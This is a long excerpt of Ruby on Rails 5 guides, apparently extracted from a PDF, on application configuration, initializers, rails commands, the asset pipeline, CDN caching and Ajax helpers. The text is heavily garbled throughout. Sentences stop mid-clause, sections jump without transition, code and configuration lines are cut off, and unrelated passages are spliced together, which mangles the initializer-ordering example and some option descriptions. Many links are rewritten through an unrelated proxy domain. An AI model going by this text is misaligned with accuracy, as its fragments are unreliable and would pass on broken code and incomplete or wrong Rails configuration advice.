updates may write attributes based on a possibly stale read state. The
default value is true.
config.active_record.maintain_test_schema is a boolean value
which controls whether Active Record should try to keep your test
database schema up-to-date with db/schema.rb (or
db/structure.sql) when you run your tests. The default is true.
config.active_record.dump_schema_after_migration is a flag
which controls whether or not schema dump should happen
(db/schema.rb or db/structure.sql) when you run migrations. This
is set to false in config/environments/production.rb which is
generated by Rails. The default value is true if this configuration is
not set.
config.active_record.dump_schemas controls which database
schemas will be dumped when calling db:structure:dump. The options
are :schema_search_path (the default) which dumps any schemas
listed in schema_search_path, :all which always dumps all schemas
regardless of the schema_search_path, or a string of comma separated
schemas.
config.active_record.belongs_to_required_by_default is a
boolean value and controls whether a record fails validation if
belongs_to association is not present.
config.active_record.warn_on_records_fetched_greater_than
allows setting a warning threshold for query result size. If the number
of records returned by a query exceeds the threshold, a warning is
logged. This can be used to identify queries which might be causing
memory bloat.
config.active_record.index_nested_attribute_errors allows
errors for nested has_many relationships to be displayed with an
index as well as the error. Defaults to false.
ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_bool
controls whether Active Record will consider all tinyint(1)
tables that should not be included in any generated schema file. This
setting is ignored unless config.active_record.schema_format ==
:ruby.
3.7 Configuring Action Controller
config.action_controller includes a number of configuration settings:
config.action_controller.asset_host sets the host for the assets.
Useful when CDNs are used for hosting assets rather than the
application server itself.
config.action_controller.perform_caching configures whether
the application should perform the caching features provided by the
Action Controller component or not. Set to false in development
mode, true in production.
config.action_controller.default_static_extension configures
the extension used for cached pages. Defaults to .html.
config.action_controller.include_all_helpers configures
whether all view helpers are available everywhere or are scoped to
the corresponding controller. If set to false, UsersHelper methods
are only available for views rendered as part of UsersController. If
true, UsersHelper methods are available everywhere. The default
configuration behavior (when this option is not explicitly set to true
or false) is that all view helpers are available to each controller.
the interface of Log4r or the default Ruby Logger class, which is then
used to log information from Action Controller. Set to nil to disable
logging.
config.action_controller.request_forgery_protection_token
Any exceptions that are not configured will be mapped to 500 Internal
Server Error.
ActionDispatch::Callbacks.before takes a block of code to run
generator for displaying errors that come from Active Model. The
default is
helpful when you're fragment-caching the form. Remote forms get the
authenticity from the meta tag, so embedding is unnecessary unless
you support browsers without JavaScript. In such case you can either
pass authenticity_token: true as a form option or set this config
setting to true.
config.action_view.prefix_partial_path_with_controller_names
mailer previews.
config.action_mailer.preview_path = "#{Rails.root}/lib/maile
you are hosting your Action Cable server. You would use this option
if you are running Action Cable servers that are separated from your
main application.
config.action_cable.mount_path accepts a string for where to
mount Action Cable, as part of the main server process. Defaults to
/cable. You can set this as nil to not mount Action Cable as part of
your normal Rails server.
3.14 Configuring a Database
Just about every Rails application will interact with a database. You can
connect to the database by setting an environment variable
ENV['DATABASE_URL'] or by using a configuration file called
config/database.yml.
Using the config/database.yml file you can specify all the information
needed to access your database:
development:
adapter: postgresql
database: blog_development
pool: 5
The config/database.yml file can contain ERB tags <%= %>. Anything in
the tags will be evaluated as Ruby code. You can use this to pull out data
$ echo $DATABASE_URL
Now the behavior is clear, that we are only using the connection
information in ENV['DATABASE_URL'].
3.15.1 Configuring an SQLite3 Database
If your development database has a root user with an empty password, this
configuration should work for you. Otherwise, change the username and
password in the development section as appropriate.
3.15.3 Configuring a PostgreSQL Database
The more prepared statements in use: the more memory your database will
require. If your PostgreSQL database is hitting memory limits, try
lowering statement_limit or disabling prepared statements.
3.15.4 Configuring an SQLite3 Database for JRuby Platform
If you choose to use MySQL or MariaDB and are using JRuby, your
config/database.yml will look a little different. Here's the development
section:
development:
adapter: jdbcmysql
database: blog_development
username: root
password:
3.15.6 Configuring a PostgreSQL Database for JRuby Platform
location @app {
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $http_host;
proxy_redirect off;
proxy_pass http://application_server;
}
# some other configuration
}
6 Initialization events
Rails has 5 initialization events which can be hooked into (listed in the
order that they are run):
before_configuration: This is run as soon as the application
constant inherits from Rails::Application. The config calls are
Rails.application object:
Rails.application.config.before_initialize do
# initialization code goes here
end
Some parts of your application, notably routing, are not yet set up at the
point where the after_initialize block is called.
6.1 Rails::Railtie#initializer
Rails has several initializers that run on startup that are all defined by
using the initializer method from Rails::Railtie. Here's an example
of the set_helpers_path initializer from Action Controller:
initializer "action_controller.set_helpers_path" do |app|
ActionController::Helpers.helpers_path = app.helpers_paths
end
The initializer method takes three arguments with the first being the
name for the initializer and the second being an options hash (not shown
here) and the third being a block. The :before key in the options hash can
be specified to specify which initializer this new initializer must run
before, and the :after key will specify which initializer to run this
initializer after.
Initializers defined using the initializer method will be run in the order
they are defined in, with the exception of ones that use the :before or
:after methods.
You may put your initializer before or after any other initializer in the
chain, as long as it is logical. Say you have 4 initializers called "one"
through "four" (defined in that order) and you define "four" to go before
"four" but after "three", that just isn't logical and Rails will not be able to
values through.
action_controller.compile_config_methods: Initializes methods
for the config settings specified so that they are quicker to access.
active_record.initialize_timezone: Sets
ActiveRecord::Base.time_zone_aware_attributes to true, as well
as setting ActiveRecord::Base.default_timezone to UTC. When
attributes are read from the database, they will be converted into the
time zone specified by Time.zone.
active_record.logger: Sets ActiveRecord::Base.logger - if it's
not already set - to Rails.logger.
active_record.migration_error: Configures middleware to check
for pending migrations.
active_record.check_schema_cache_dump: Loads the schema cache
dump if configured and available.
active_record.warn_on_records_fetched_greater_than: Enables
warnings when queries return large numbers of records.
active_record.set_configs: Sets up Active Record by using the
settings in config.active_record by send'ing the method names as
setters to ActiveRecord::Base and passing the values through.
active_record.initialize_database: Loads the database
configuration (by default) from config/database.yml and
establishes a connection for the current environment.
active_record.log_runtime: Includes
ActiveRecord::Railties::ControllerRuntime which is responsible
for reporting the time taken by Active Record calls for the request
back to the logger.
active_record.set_reloader_hooks: Resets all reloadable
connections to the database if config.cache_classes is set to false.
application, railties and engines to the lookup path for helpers for the
application.
load_config_initializers: Loads all Ruby files from
config/initializers in the application, railties and engines. The
files in this directory can be used to hold configuration settings that
should be made after all of the frameworks are loaded.
engines_blank_point: Provides a point-in-initialization to hook into
if you wish to do anything before engines are loaded. After this point,
all railtie and engine initializers are run.
add_generator_templates: Finds templates for generators at
lib/templates for the application, railties and engines and adds
these to the config.generators.templates setting, which will make
the templates available for all generators to reference.
ensure_autoload_once_paths_as_subset: Ensures that the
config.autoload_once_paths only contains paths from
config.autoload_paths. If it contains extra paths, then an exception
will be raised.
add_to_prepare_blocks: The block for every config.to_prepare
call in the application, a railtie or engine is added to the to_prepare
callbacks for Action Dispatch which will be run per request in
development, or before the first request in production.
add_builtin_route: If the application is running under the
development environment then this will append the route for
rails/info/properties to the application routes. This route
provides the detailed information such as Rails and Ruby version for
public/index.html in a default Rails application.
build_middleware_stack: Builds the middleware stack for the
application, returning an object which has a call method which takes
a Rack environment object for the request.
eager_load!: If config.eager_load is true, runs the
config.before_eager_load hooks and then calls eager_load!
which will load all config.eager_load_namespaces.
finisher_hook: Provides a hook for after the initialization of process
of the application is complete, as well as running all the
engines.
set_routes_reloader: Configures Action Dispatch to reload the
routes file using ActionDispatch::Callbacks.to_prepare.
disable_dependency_loading: Disables the automatic dependency
loading if the config.eager_load is set to true.
7 Database pooling
Active Record database connections are managed by
ActiveRecord::ConnectionAdapters::ConnectionPool which ensures
If you get the above error, you might want to increase the size of the
connection pool by incrementing the pool option in database.yml
8 Custom configuration
You can configure your own code through the Rails configuration object
with custom configuration. It works like this:
config.payment_processing.schedule = :daily
config.payment_processing.retries = 3
config.super_debugger = true
To block just specific pages, it's necessary to use a more complex syntax.
Learn it on the official documentation.
Rails will set you up with what seems like a huge amount of stuff for such
a tiny command! You've got the entire Rails directory structure now with
all the code you need to run our simple application right out of the box.
1.2 rails server
The rails server command launches a web server named Puma which
comes bundled with Rails. You'll use this any time you want to access
your application through a web browser.
With no further work, rails server will run our new shiny Rails app:
$ cd commandsapp
$ bin/rails server
=> Booting Puma
=> Rails 5.0.0 application starting in development on http://0.0
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 3.0.2 (ruby 2.3.0-p0), codename: Plethora of Penguin P
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://localhost:3000
Use Ctrl-C to stop
help.
$ bin/rails generate controller
Usage: rails generate controller NAME [action action] [options]
...
...
Description:
...
Example:
`rails generate controller CreditCards open debit credit clo
invoke scss
create app/assets/stylesheets/greetings.scss
What all did this generate? It made sure a bunch of directories were in our
application, and created a controller file, a view file, a functional test file, a
helper for the view, a JavaScript file and a stylesheet file.
Check out the controller and modify it a little (in
app/controllers/greetings_controller.rb):
class GreetingsController < ApplicationController
def hello
@message = "Hello, how are you today?"
end
end
For a list of available field types, refer to the API documentation for the
column method for the TableDefinition class.
But instead of generating a model directly (which we'll be doing later),
let's set up a scaffold. A scaffold in Rails is a full set of model, database
migration for that model, controller to manipulate it, views to view and
manipulate the data, and a test suite for each of the above.
We will set up a simple resource called "HighScore" that will keep track of
our highest score on video games we play.
create app/views/high_scores/index.html.erb
create app/views/high_scores/edit.html.erb
create app/views/high_scores/show.html.erb
create app/views/high_scores/new.html.erb
create app/views/high_scores/_form.html.erb
invoke test_unit
create test/controllers/high_scores_controller_test.rb
invoke helper
create app/helpers/high_scores_helper.rb
invoke jbuilder
create app/views/high_scores/index.json.jbuilder
create app/views/high_scores/show.json.jbuilder
invoke assets
invoke coffee
create app/assets/javascripts/high_scores.coffee
invoke scss
create app/assets/stylesheets/high_scores.scss
invoke scss
identical app/assets/stylesheets/scaffolds.scss
The generator checks that there exist the directories for models,
controllers, helpers, layouts, functional and unit tests, stylesheets, creates
the views, controller, model and database migration for HighScore
(creating the high_scores table and fields), takes care of the route for the
resource, and new tests for everything.
The migration requires that we migrate, that is, run some Ruby code
(living in that 20130717151933_create_high_scores.rb) to modify the
schema of our database. Which database? The SQLite3 database that Rails
will create for you when we run the bin/rails db:migrate command.
We'll talk more about bin/rails in-depth in a little while.
$ bin/rails db:migrate
== CreateHighScores: migrating ================================
-- create_table(:high_scores)
-> 0.0017s
== CreateHighScores: migrated (0.0019s) =======================
Let's talk about unit tests. Unit tests are code that tests and makes
assertions about code. In unit testing, we take a little part of code, say a
method of a model, and test its inputs and outputs. Unit tests are your
friend. The sooner you make peace with the fact that your quality of life
will drastically increase when you unit test your code, the better. Seriously.
Please visit the testing guide for an in-depth look at unit testing.
Let's see the interface Rails created for us.
$ bin/rails server
If you wish to test out some code without changing any data, you can do
that by invoking rails console --sandbox.
$ bin/rails console --sandbox
Loading development environment in sandbox (Rails 5.0.0)
Inside the rails console you have access to the app and helper
instances.
With the app method you can access url and path helpers, as well as do
requests.
>> app.root_path
=> "/"
>> app.get _
Started GET "/" for 127.0.0.1 at 2014-06-19 10:41:57 -0300
...
into whichever command line interface you would use with it (and figures
out the command line parameters to give to it, too!). It supports MySQL
(including MariaDB), PostgreSQL and SQLite3.
You can also use the alias "db" to invoke the dbconsole: rails db.
instance:
$ bin/rails runner "Model.long_running_method"
You can also use the alias "r" to invoke the runner: rails r.
You can specify the environment in which the runner command should
operate using the -e switch.
$ bin/rails runner -e staging "Model.long_running_method"
You can even execute ruby code written in a file with runner.
$ bin/rails runner lib/code_to_be_run.rb
invoke active_record
remove db/migrate/20120528062523_create_oops.rb
remove app/models/oops.rb
invoke test_unit
remove test/models/oops_test.rb
remove test/fixtures/oops.yml
2 bin/rails
Since Rails 5.0+ has rake commands built into the rails executable,
bin/rails is the new default for running commands.
You can get a list of bin/rails tasks available to you, which will often
depend on your current directory, by typing bin/rails --help. Each task
has a description, and should help you find the thing you need.
$ bin/rails --help
Usage: rails COMMAND [ARGS]
The most common rails commands are:
generate Generate new code (short-cut alias: "g")
console Start the Rails console (short-cut alias: "c")
server Start the Rails server (short-cut alias: "s")
...
All commands can be run with -h (or --help) for more information
$ bin/rails about
About your application's environment
Rails version 5.0.0
Ruby version 2.2.2 (x86_64-linux)
RubyGems version 2.4.6
Rack version 1.6
JavaScript Runtime Node.js (V8)
Middleware Rack::Sendfile, ActionDispatch::Static
Application root /home/foobar/commandsapp
Environment development
Database adapter sqlite3
Database schema version 20110805173523
2.2 assets
You can precompile the assets in app/assets using bin/rails
assets:precompile, and remove older compiled assets using bin/rails
assets:clean. The assets:clean task allows for rolling deploys that may
still be linking to an old asset while the new assets are being built.
If you want to clear public/assets completely, you can use bin/rails
assets:clobber.
2.3 db
The most common tasks of the db: bin/rails namespace are migrate and
create, and it will pay off to try out all of the migration bin/rails tasks (up,
down, redo, reset). bin/rails db:version is useful when
troubleshooting, telling you the current version of the database.
More information about migrations can be found in the Migrations guide.
2.4 notes
bin/rails notes will search through your code for comments beginning
If you are looking for a specific annotation, say FIXME, you can use
bin/rails notes:fixme. Note that you have to lower case the
annotation's name.
$ bin/rails notes:fixme
(in /home/foobar/commandsapp)
app/controllers/admin/users_controller.rb:
* [132] high priority for next deploy
app/models/school.rb:
* [ 17]
You can also use custom annotations in your code and list them using
bin/rails notes:custom by specifying the annotation using an
environment variable ANNOTATION.
$ bin/rails notes:custom ANNOTATION=BUG
(in /home/foobar/commandsapp)
app/models/article.rb:
* [ 23] Have to fix this one before pushing!
2.5 routes
rails routes will list all of your defined routes, which is useful for
pids.
2.8 Miscellaneous
rails stats is great for looking at statistics on your code, displaying
things like KLOCs (thousands of lines of code) and your code to test
ratio.
rails secret will give you a pseudo-random key to use for your
session secret.
rails time:zones:all lists all the timezones Rails knows about.
$ bin/rails task_name
$ bin/rails "task_name[value 1]" # entire argument string should
$ bin/rails db:nothing
We had to create the gitapp directory and initialize an empty git repository
before Rails would add files it created to our repository. Let's see what it
put in our database configuration:
$ cat config/database.yml
# PostgreSQL. Versions 9.1 and up are supported.
#
# Install the pg driver:
# gem install pg
# On OS X with Homebrew:
# gem install pg -- --with-pg-config=/usr/local/bin/pg_config
# On OS X with MacPorts:
# gem install pg -- --with-pg-config=/opt/local/lib/postgresql
# On Windows:
# gem install pg
# Choose the win32 build.
# Install PostgreSQL and put its /bin directory on your pa
#
# Configure Using Gemfile
# gem 'pg'
#
development:
adapter: postgresql
encoding: unicode
database: gitapp_development
pool: 5
username: gitapp
password:
...
...
Using the --skip-sprockets option will prevent Rails from adding them
to your Gemfile, so if you later want to enable the asset pipeline you will
have to add those gems to your Gemfile. Also, creating an application with
the --skip-sprockets option will generate a slightly different
config/application.rb file, with a require statement for the sprockets
railtie that is commented-out. You will have to remove the comment
operator on that line to later enable the asset pipeline:
# require "sprockets/railtie"
When doing this, ensure you are not using the require_tree directive, as
that will result in your assets being included more than once.
When using asset precompilation, you will need to ensure that your
controller assets will be precompiled when loading them on a per page
basis. By default .coffee and .scss files will not be precompiled on their
own. See Precompiling Assets for more information on how precompiling
works.
You must have an ExecJS supported runtime in order to use CoffeeScript.
If you are using Mac OS X or Windows, you have a JavaScript runtime
installed in your operating system. Check ExecJS documentation to know
all supported JavaScript runtimes.
You can also disable generation of controller specific asset files by adding
the following to your config/application.rb configuration:
config.generators do |g|
g.assets false
end
the scope of the application or those libraries which are shared across
applications.
vendor/assets is for assets that are owned by outside entities, such
as code for JavaScript plugins and CSS frameworks. Keep in mind
that third party code with references to other files also processed by
the asset Pipeline (images, stylesheets, etc.), will need to be rewritten
to use helpers like asset_path.
If you are upgrading from Rails 3, please take into account that assets
under lib/assets or vendor/assets are available for inclusion via the
application manifests but no longer part of the precompile array. See
Precompiling Assets for guidance.
2.2.1 Search Paths
is referenced as:
//= require sub/something
Besides the standard assets/* paths, additional (fully qualified) paths can
be added to the pipeline in config/application.rb. For example:
Paths are traversed in the order they occur in the search path. By default,
this means the files in app/assets take precedence, and will mask
corresponding paths in lib and vendor.
It is important to note that files you want to reference outside a manifest
must be added to the precompile array or they will not be available in the
production environment.
2.2.2 Using Index Files
Sprockets uses files named index (with the relevant extensions) for a
special purpose.
For example, if you have a jQuery library with many modules, which is
stored in lib/assets/javascripts/library_name, the file
lib/assets/javascripts/library_name/index.js serves as the manifest
for all files in this library. This file could include a list of all the required
Provided that the pipeline is enabled within your application (and not
disabled in the current environment context), this file is served by
Sprockets. If a file exists at public/assets/rails.png it is served by the
web server.
treated the same way. How these hashes are generated is covered in the In
Production section later on in this guide.
Sprockets will also look through the paths specified in
config.assets.paths, which includes the standard application paths and
any paths added by Rails engines.
Images can also be organized into subdirectories if required, and then can
be accessed by specifying the directory's name in the tag:
<%= image_tag "icons/rails.png" %>
The asset pipeline automatically evaluates ERB. This means if you add an
erb extension to a CSS asset (for example, application.css.erb), then
helpers like asset_path are available in your CSS rules:
.class { background-image: url(<%= asset_path 'image.png' %>) }
This writes the path to the particular asset being referenced. In this
example, it would make sense to have an image in one of the asset load
paths, such as app/assets/images/image.png, which would be referenced
here. If this image is already available in public/assets as a fingerprinted
file, then that path is referenced.
If you want to use a data URI - a method of embedding the image data
directly into the CSS file - you can use the asset_data_uri helper.
#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
When using the asset pipeline, paths to assets must be re-written and sassrails provides -url and -path helpers (hyphenated in Sass, underscored
in Ruby) for the following asset classes: image, font, video, audio,
JavaScript and stylesheet.
image-url("rails.png") returns url(/assets/rails.png)
image-path("rails.png") returns "/assets/rails.png"
In JavaScript files, Sprockets directives begin with //=. In the above case,
the file is using the require and the require_tree directives. The
require directive is used to tell Sprockets the files you wish to require.
Here, you are requiring the files jquery.js and jquery_ujs.js that are
available somewhere in the search path for Sprockets. You need not supply
the extensions explicitly. Sprockets assumes you are requiring a .js file
when done from within a .js file.
directives, Sass files exist within their own scope, making variables or
mixins only available within the document they were defined in.
You can do file globbing as well using @import "*", and @import "**/*"
to add the whole tree which is equivalent to how require_tree works.
Check the sass-rails documentation for more info and important caveats.
You can have as many manifest files as you need. For example, the
admin.css and admin.js manifest could contain the JS and CSS files that
are used for the admin section of an application.
The same remarks about ordering made above apply. In particular, you can
specify individual files and they are compiled in the order specified. For
example, you might concatenate three CSS files together this way:
/* ...
*= require reset
*= require layout
*= require chrome
*/
2.5 Preprocessing
The file extensions used on an asset determine what preprocessing is
applied. When a controller or a scaffold is generated with the default Rails
gemset, a CoffeeScript file and a SCSS file are generated in place of a
regular JavaScript and CSS file. The example used before was a controller
called "projects", which generated an
app/assets/javascripts/projects.coffee and an
app/assets/stylesheets/projects.scss file.
In development mode, or if the asset pipeline is disabled, when these files
are requested they are processed by the processors provided by the
coffee-script and sass gems and then sent back to the browser as
3 In Development
In development mode, assets are served as separate files in the order they
are specified in the manifest file.
This manifest app/assets/javascripts/application.js:
//= require core
//= require projects
//= require tickets
When this option is true, the asset pipeline will check if all the assets
loaded in your application are included in the config.assets.precompile
list. If config.assets.digest is also true, the asset pipeline will require
that all requests for assets include digests.
3.2 Turning Digests Off
When this option is true, digests will be generated for asset URLs.
3.3 Turning Debugging Off
You can turn off debug mode by updating
config/environments/development.rb to include:
config.assets.debug = false
When debug mode is off, Sprockets concatenates and runs the necessary
preprocessors on all files. With debug mode turned off the manifest above
would generate instead:
<script src="/assets/application.js"></script>
Assets are compiled and cached on the first request after the server is
started. Sprockets sets a must-revalidate Cache-Control HTTP header to
reduce request overhead on subsequent requests - on these the browser
gets a 304 (Not Modified) response.
If any of the files in the manifest have changed between requests, the
server responds with a new compiled file.
Debug mode can also be enabled in Rails helper methods:
<%= stylesheet_link_tag "application", debug: true %>
<%= javascript_include_tag "application", debug: true %>
4 In Production
In the production environment Sprockets uses the fingerprinting scheme
outlined above. By default Rails assumes assets have been precompiled
and will be served as static assets by your web server.
During the precompilation phase an MD5 is generated from the contents of
the compiled files, and inserted into the filenames as they are written to
disk. These fingerprinted names are used by the Rails helpers in place of
the manifest name.
For example this:
<%= javascript_include_tag "application" %>
<%= stylesheet_link_tag "application" %>
<script src="/assets/application-908e25f4bf641868d8683022a5b62f5
<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473
rel="stylesheet" />
with the Asset Pipeline the :cache and :concat options aren't used
anymore, delete these options from the javascript_include_tag and
stylesheet_link_tag.
The fingerprinting behavior is controlled by the config.assets.digest
initialization option (which defaults to true).
Under normal circumstances the default config.assets.digest option
should not be changed. If there are no digests in the filenames, and farfuture headers are set, remote clients will never know to refetch the files
when their content changes.
/application.(css|js)$/ ]
The matcher (and other members of the precompile array; see below) is
applied to final compiled file names. This means anything that compiles to
JS/CSS is excluded, as well as raw JS/CSS files; for example, .coffee and
.scss files are not automatically included as they compile to JS/CSS.
If you have other manifests or individual stylesheets and JavaScript files to
include, you can add them to the precompile array in
config/initializers/assets.rb:
Always specify an expected compiled filename that ends with .js or .css,
even if you want to add Sass or CoffeeScript files to the precompile array.
The task also generates a manifest-md5hash.json that contains a list with
all your assets and their respective fingerprints. This is used by the Rails
helper methods to avoid handing the mapping requests back to Sprockets.
A typical manifest file looks like:
{"files":{"application-723d1be6cc741a3aabb1cec24276d681.js":{"lo
"digest":"723d1be6cc741a3aabb1cec24276d681"},"application-12b3c7
"digest":"12b3c7dd74d2e9df37e7cbb1efa76a6d"},"application-1c5752
"digest":"1c5752789588ac18d7e1a50b1f0fd4c2"},"favicon-a9c641bf2b
"digest":"a9c641bf2b81f0476e876f7c5e375969"},"my_image-231a680f2
"digest":"231a680f23887d9dd70710ea5efd3c62"}},"assets":{"applica
"application-723d1be6cc741a3aabb1cec24276d681.js","application.c
"application-1c5752789588ac18d7e1a50b1f0fd4c2.css",
"favicon.ico":"favicona9c641bf2b81f0476e876f7c5e375969.ico","my_
"my_image-231a680f23887d9dd70710ea5efd3c62.png"}}
The default location for the manifest is the root of the location specified in
config.assets.prefix ('/assets' by default).
Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiled
Precompiled assets exist on the file system and are served directly by your
web server. They do not have far-future headers by default, so to get the
benefit of fingerprinting you'll have to update your server configuration to
add those headers.
For Apache:
# The Expires* directives requires the Apache module
# `mod_expires` to be enabled.
<Location /assets/>
# Use of ETag is discouraged when Last-Modified is present
Header unset ETag
FileETag None
# RFC says only cache for 1 year
ExpiresActive On
ExpiresDefault "access plus 1 year"
</Location>
For NGINX:
location ~ ^/assets/ {
expires 1y;
add_header Cache-Control public;
add_header ETag "";
}
The prefix change makes Sprockets use a different URL for serving
assets in development mode, and pass all requests to Sprockets. The prefix
is still set to /assets in the production environment. Without this change,
the application would serve the precompiled assets from /assets in
development, and you would not see any local changes until you compile
assets again.
In practice, this will allow you to precompile locally, have those files in
your working tree, and commit those files to source control when needed.
Development mode will work as expected.
4.3 Live Compilation
In some circumstances you may wish to use live compilation. In this mode
all requests for assets in the pipeline are handled by Sprockets directly.
To enable this option set:
config.assets.compile = true
On the first request the assets are compiled and cached as outlined in
development above, and the manifest names used in the helpers are altered
to include the MD5 hash.
Sprockets also sets the Cache-Control HTTP header to maxage=31536000. This signals all caches between your server and the client
browser that this content (the file served) can be cached for 1 year. The
effect of this is to reduce the number of requests for this asset from your
server; the asset has a good chance of being in the local browser cache or
some intermediate cache.
This mode uses more memory, performs more poorly than the default and
is not recommended.
If you are deploying a production application to a system without any preexisting JavaScript runtimes, you may want to add one to your Gemfile:
group :production do
gem 'therubyracer'
end
4.4 CDNs
CDN stands for Content Delivery Network, they are primarily designed to
cache assets all over the world so that when a browser requests the asset, a
cached copy will be geographically close to that browser. If you are
serving assets directly from your Rails server in production, the best
config/environments/production.rb:
config.action_controller.asset_host = 'mycdnsubdomain.fictional-
You only need to provide the "host", this is the subdomain and root
domain, you do not need to specify a protocol or "scheme" such as
http:// or https://. When a web page is requested, the protocol in the
link to your asset that is generated will match how the webpage is accessed
by default.
You can also set this value through an environment variable to make
running a staging copy of your site easier:
config.action_controller.asset_host = ENV['CDN_HOST']
If the CDN has a copy of smile.png it will serve it to the browser and
your server doesn't even know it was requested. If the CDN does not have
a copy it will try to find it at the "origin" example.com/assets/smile.png
and then store it for future use.
If you want to serve only some assets from your CDN, you can use custom
:host option your asset helper, which overwrites value set in
config.action_controller.asset_host.
A CDN works by caching content. If the CDN has stale or bad content,
then it is hurting rather than helping your application. The purpose of this
section is to describe general caching behavior of most CDNs, your
specific provider may behave slightly differently.
4.4.2.1 CDN Request Caching
One way to check the headers are cached properly in your CDN is by
using curl. You can request the headers from both your server and your
CDN to verify they are the same:
$ curl -I http://www.example/assets/applicationd0e099e021c95eb0de3615fd1d8c4d83.css
HTTP/1.1 200 OK
Server: Cowboy
Date: Sun, 24 Aug 2014 20:27:50 GMT
Connection: keep-alive
Last-Modified: Thu, 08 May 2014 01:24:14 GMT
Content-Type: text/css
Cache-Control: public, max-age=2592000
Content-Length: 126560
Via: 1.1 vegur
Check your CDN documentation for any additional information they may
provide such as X-Cache or for any additional headers they may add.
4.4.2.3 CDNs and the Cache-Control Header
store the request. Also we commonly want to set max-age which is how
long the cache will store the object before invalidating the cache. The maxage value is set to seconds with a maximum possible value of 31536000
which is one year. You can do this in your rails application by setting
config.public_file_server.headers = {
'Cache-Control' => 'public, max-age=31536000'
}
Now when your application serves an asset in production, the CDN will
store the asset for up to a year. Since most CDNs also cache headers of the
request, this Cache-Control will be passed along to all future browsers
seeking this asset, the browser then knows that it can store this asset for a
very long time before needing to re-request it.
4.4.2.4 CDNs and URL based Cache Invalidation
Most CDNs will cache contents of an asset based on the complete URL.
This means that a request to
http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png
If you want to set far future max-age in your Cache-Control (and you do),
then make sure when you change your assets that your cache is
invalidated. For example when changing the smiley face in an image from
yellow to blue, you want all visitors of your site to get the new blue face.
When using a CDN with the Rails asset pipeline config.assets.digest is
set to true by default so that each asset will have a different file name
when it is changed. This way you don't have to ever manually invalidate
any items in your cache. By using a different unique asset name instead,
your users get the latest asset.
The other option for compressing CSS if you have the sass-rails gem
installed is
config.assets.css_compressor = :sass
This is a handy option if you are updating an older project that didn't use
the asset pipeline and already uses this path or you wish to use this path for
a new resource.
5.6 X-Sendfile Headers
The X-Sendfile header is a directive to the web server to ignore the
response from the application, and instead serve a specified file from disk.
This option is off by default, but can be enabled if your server supports it.
When enabled, this passes responsibility for serving the file to the web
server, which is faster. Have a look at send_file on how to use this feature.
Apache and NGINX support this option, which can be enabled in
config/environments/production.rb:
If you are upgrading an existing application and intend to use this option,
take care to paste this configuration option only into production.rb and
any other environments you define with production behavior (not
application.rb).
For further details have a look at the docs of your production web server: -
Apache - NGINX
config.assets.configure do |env|
env.cache = ActiveSupport::Cache.lookup_store(:memory_store,
{ size: 32.megab
end
Now that you have a Template class, it's time to associate it with an
extension for template files:
Sprockets.register_engine '.bang', BangBang::Template
In development.rb:
# Expands the lines which load the assets
config.assets.debug = true
And in production.rb:
# Choose the compressors to use (if any)
config.assets.js_compressor = :uglifier
# config.assets.css_compressor = :yui
config.assets.digest = true
Rails 4 and above no longer set default config values for Sprockets in
test.rb, so test.rb now requires Sprockets configuration. The old
defaults in the test environment are: config.assets.compile = true,
config.assets.compress = false, config.assets.debug = false and
config.assets.digest = false.
The following should also be added to your Gemfile:
gem 'sass-rails', "~> 3.2.3"
gem 'coffee-rails', "~> 3.2.1"
gem 'uglifier'
1 An Introduction to Ajax
In order to understand Ajax, you must first understand what a web browser
does normally.
When you type http://localhost:3000 into your browser's address bar
and hit 'Go,' the browser (your 'client') makes a request to the server. It
parses the response, then fetches all associated assets, like JavaScript files,
stylesheets and images. It then assembles the page. If you click a link, it
does the same process: fetch the page, fetch the assets, put it all together,
show you the results. This is called the 'request response cycle.'
JavaScript can also make requests to the server, and parse the response. It
also has the ability to update information on the page. Combining these
two powers, a JavaScript writer can make a web page that can update just
parts of itself, without needing to get the full page data from the server.
This is a powerful technique that we call Ajax.
Rails ships with CoffeeScript by default, and so the rest of the examples in
this guide will be in CoffeeScript. All of these lessons, of course, apply to
vanilla JavaScript as well.
As an example, here's some CoffeeScript code that makes an Ajax request
using the jQuery library:
$.ajax(url: "/test").done (html) ->
$("#results").append html
This code fetches data from "/test", and then appends the result to the div
with an id of results.
Rails provides quite a bit of built-in support for building web pages with
this technique. You rarely have to write this code yourself. The rest of this
guide will show you how Rails can help you write websites in this way,
2 Unobtrusive JavaScript
Rails uses a technique called "Unobtrusive JavaScript" to handle attaching
JavaScript to the DOM. This is generally considered to be a best-practice
within the frontend community, but you may occasionally read tutorials
that demonstrate other ways.
Here's the simplest way to write JavaScript. You may see it referred to as
'inline JavaScript':
When clicked, the link background will become red. Here's the problem:
what happens when we have lots of JavaScript we want to execute on a
click?
Awkward, right? We could pull the function definition out of the click
handler, and turn it into CoffeeScript:
@paintIt = (element, backgroundColor, textColor) ->
element.style.backgroundColor = backgroundColor
if textColor?
element.style.color = textColor
That's a little bit better, but what about multiple links that have the same
effect?
Not very DRY, eh? We can fix this by using events instead. We'll add a
data-* attribute to our link, and then bind a handler to the click event of
every link that has that attribute:
@paintIt = (element, backgroundColor, textColor) ->
element.style.backgroundColor = backgroundColor
if textColor?
element.style.color = textColor
$ ->
$("a[data-background-color]").click (e) ->
e.preventDefault()
backgroundColor = $(this).data("background-color")
textColor = $(this).data("text-color")
paintIt(this, backgroundColor, textColor)
3 Built-in Helpers
Rails provides a bunch of view helper methods written in Ruby to assist
you in generating HTML. Sometimes, you want to add a little Ajax to
those elements, and Rails has got your back in those cases.
Because of Unobtrusive JavaScript, the Rails "Ajax helpers" are actually in
two parts: the JavaScript half and the Ruby half.
Unless you have disabled the Asset Pipeline, rails.js provides the
JavaScript half, and the regular Ruby view helpers add appropriate tags to
your DOM.
3.1 form_for
form_for is a helper that assists with writing forms. form_for takes a
:remote option. It works like this:
<%= form_for(@article, remote: true) do |f| %>
...
<% end %>
out:
$(document).ready ->
$("#new_article").on("ajax:success", (e, data, status, xhr) ->
$("#new_article").append xhr.responseText
